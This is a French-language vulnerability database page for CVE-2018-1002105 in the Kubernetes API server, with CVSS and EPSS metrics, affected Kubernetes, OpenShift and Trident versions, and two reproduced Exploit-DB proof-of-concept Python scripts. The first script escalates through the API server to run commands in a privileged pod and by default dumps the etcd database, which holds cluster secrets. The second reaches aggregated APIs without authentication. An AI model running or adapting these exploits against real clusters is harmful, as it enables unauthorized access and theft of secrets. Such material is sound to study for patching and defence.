Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-388 |
Category : 7PK - Errors This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle." |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.0 |
9.8 |
CRITICAL |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
|
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 46053
Date de publication : 2018-12-09 23h00 +00:00
Auteur : evict
EDB Vérifié : No
#!/usr/bin/env python3
import argparse
from ssl import wrap_socket
from socket import create_connection
from secrets import base64, token_bytes
def request_stage_1(namespace, pod, method, target, token):
stage_1 = ""
with open('stage_1', 'r') as stage_1_fd:
stage_1 = stage_1_fd.read()
return stage_1.format(namespace, pod, method, target,
token).encode('utf-8')
def request_stage_2(target, namespace, pod, container, command):
stage_2 = ""
command = f"command={'&command='.join(command.split(' '))}"
with open('stage_2', 'r') as stage_2_fd:
stage_2 = stage_2_fd.read()
key = base64.b64encode(token_bytes(20)).decode('utf-8')
return stage_2.format(namespace, pod, container, command,
target, key).encode('utf-8')
def run_exploit(target, stage_1, stage_2, method, filename, ppod,
container):
host, port = target.split(':')
with create_connection((host, port)) as sock:
with wrap_socket(sock) as ssock:
print(f"[*] Building pipe using {method}...")
ssock.send(stage_1)
if b'400 Bad Request' in ssock.recv(4096):
print('[+] Pipe opened :D')
else:
print('[-] Not sure if this went well...')
print(f"[*] Attempting code exec on {ppod}/{container}")
ssock.send(stage_2)
if b'HTTP/1.1 101 Switching Protocols' not in ssock.recv(4096):
print('[-] Exploit failed :(')
return False
data_incoming = True
data = []
while data_incoming:
data_in = ssock.recv(4096)
data.append(data_in)
if not data_in:
data_incoming = False
if filename:
print(f"[*] Writing output to {filename} ....")
with open(filename, 'wb+') as fd:
for msg in data:
fd.write(msg)
print('[+] Done!')
else:
print(''.join(msg.decode('unicode-escape')
for msg in data))
def main():
parser = argparse.ArgumentParser(description='PoC for CVE-2018-1002105.')
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
required.add_argument('--target', '-t', dest='target', type=str,
help='API server target:port', required=True)
required.add_argument('--jwt', '-j', dest='token', type=str,
help='JWT token for service account', required=True)
required.add_argument('--namespace', '-n', dest='namespace', type=str,
help='Namespace with method access',
default='default')
required.add_argument('--pod', '-p', dest='pod', type=str,
required=True, help='Pod with method access')
required.add_argument('--method', '-m', dest='method', choices=['exec',
'portforward', 'attach'], required=True)
optional.add_argument('--privileged-namespace', '-s', dest='pnamespace',
help='Target namespace', default='kube-system')
optional.add_argument('--privileged-pod', '-e', dest='ppod', type=str,
help='Target privileged pod',
default='etcd-kubernetes')
optional.add_argument('--container', '-c', dest='container', type=str,
help='Target container', default='etcd')
optional.add_argument('--command', '-x', dest='command', type=str,
help='Command to execute',
default='/bin/cat /var/lib/etcd/member/snap/db')
optional.add_argument('--filename', '-f', dest='filename', type=str,
help='File to save output to', default=False)
args = parser.parse_args()
if args.target.find(':') == -1:
print(f"[-] invalid target {args.target}")
return False
stage1 = request_stage_1(args.namespace, args.pod, args.method, args.target,
args.token)
stage2 = request_stage_2(args.target, args.pnamespace, args.ppod,
args.container, args.command)
run_exploit(args.target, stage1, stage2, args.method, args.filename,
args.ppod, args.container)
if __name__ == '__main__':
main()
Exploit Database EDB-ID : 46052
Date de publication : 2018-12-09 23h00 +00:00
Auteur : evict
EDB Vérifié : No
#!/usr/bin/env python3
import argparse
from ssl import wrap_socket
from json import loads, dumps
from socket import create_connection
def request_stage_1(base, version, target):
stage_1 = ""
with open('ustage_1', 'r') as stage_1_fd:
stage_1 = stage_1_fd.read()
return stage_1.format(base, version, target
).encode('utf-8')
def request_stage_2(base, version, target_api, target):
stage_2 = ""
with open('ustage_2', 'r') as stage_2_fd:
stage_2 = stage_2_fd.read()
return stage_2.format(base, version, target_api, target,
).encode('utf-8')
def read_data(ssock):
data = []
data_incoming = True
while data_incoming:
data_in = ssock.recv(4096)
if not data_in:
data_incoming = False
elif data_in.find(b'\n\r\n0\r\n\r\n') != -1:
data_incoming = False
offset_1 = data_in.find(b'{')
offset_2 = data_in.find(b'}\n')
if offset_1 != -1 and offset_2 != -1:
data_in = data_in[offset_1-1:offset_2+1]
elif offset_1 != -1:
data_in = data_in[offset_1-1:]
elif offset_2 != -1:
data_in = data_in[:offset_2-1]
data.append(data_in)
return data
def run_exploit(target, stage_1, stage_2, filename, json):
host, port = target.split(':')
with create_connection((host, port)) as sock:
with wrap_socket(sock) as ssock:
print('[*] Building pipe ...')
ssock.send(stage_1)
data_in = ssock.recv(15)
if b'HTTP/1.1 200 OK' in data_in:
print('[+] Pipe opened :D')
read_data(ssock)
else:
print('[-] Not sure if this went well...')
print(f"[*] Attempting to access url")
ssock.send(stage_2)
data_in = ssock.recv(15)
if b'HTTP/1.1 200 OK' in data_in:
print('[+] Pipe opened :D')
data = read_data(ssock)
return data
def parse_output(data, json, filename):
if json:
j = loads(''.join(i.decode('utf-8')
for i in data))
data = dumps(j, indent=4)
if filename:
mode = 'w+'
else:
mode = 'wb+'
if filename:
print(f"[*] Writing output to {filename} ....")
with open(filename, mode) as fd:
if json:
fd.write(data)
else:
for msg in data:
fd.write(msg)
print('[+] Done!')
else:
if json:
print(data)
else:
print(''.join(msg.decode('unicode_escape') for msg in data))
def main():
parser = argparse.ArgumentParser(description='Unauthenticated PoC for'
' CVE-2018-1002105')
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
required.add_argument('--target', '-t', dest='target', type=str,
help='API server target:port', required=True)
required.add_argument('--api-base', '-b', dest='base', type=str,
help='Target API name i.e. "servicecatalog.k8s.io"',
default="servicecatalog.k8s.io")
required.add_argument('--api-target', '-u', dest='target_api', type=str,
help='API to access i.e. "clusterservicebrokers"',
default="clusterservicebrokers")
optional.add_argument('--api-version', '-a', dest='version', type=str,
help='API version to use i.e. "v1beta1"',
default="v1beta1")
optional.add_argument('--json', '-j', dest='json', action='store_true',
help='Print json output', default=False)
optional.add_argument('--filename', '-f', dest='filename', type=str,
help='File to save output to', default=False)
args = parser.parse_args()
if args.target.find(':') == -1:
print("f[-] invalid target {args.target}")
return False
stage1 = request_stage_1(args.base, args.version, args.target)
stage2 = request_stage_2(args.base, args.version, args.target_api,
args.target)
output = run_exploit(args.target, stage1, stage2, args.filename, args.json)
parse_output(output, args.json, args.filename)
if __name__ == '__main__':
main()
Products Mentioned
Configuraton 0
Kubernetes>>Kubernetes >> Version From (including) 1.0.0 To (including) 1.9.11
Kubernetes>>Kubernetes >> Version From (including) 1.10.0 To (including) 1.10.10
Kubernetes>>Kubernetes >> Version From (including) 1.11.0 To (including) 1.11.4
Kubernetes>>Kubernetes >> Version From (including) 1.12.0 To (including) 1.12.2
Kubernetes>>Kubernetes >> Version 1.9.12
Configuraton 0
Redhat>>Openshift_container_platform >> Version 3.2
Redhat>>Openshift_container_platform >> Version 3.3
Redhat>>Openshift_container_platform >> Version 3.4
Redhat>>Openshift_container_platform >> Version 3.5
Redhat>>Openshift_container_platform >> Version 3.6
Redhat>>Openshift_container_platform >> Version 3.8
Redhat>>Openshift_container_platform >> Version 3.10
Redhat>>Openshift_container_platform >> Version 3.11
Configuraton 0
Netapp>>Trident >> Version -
Références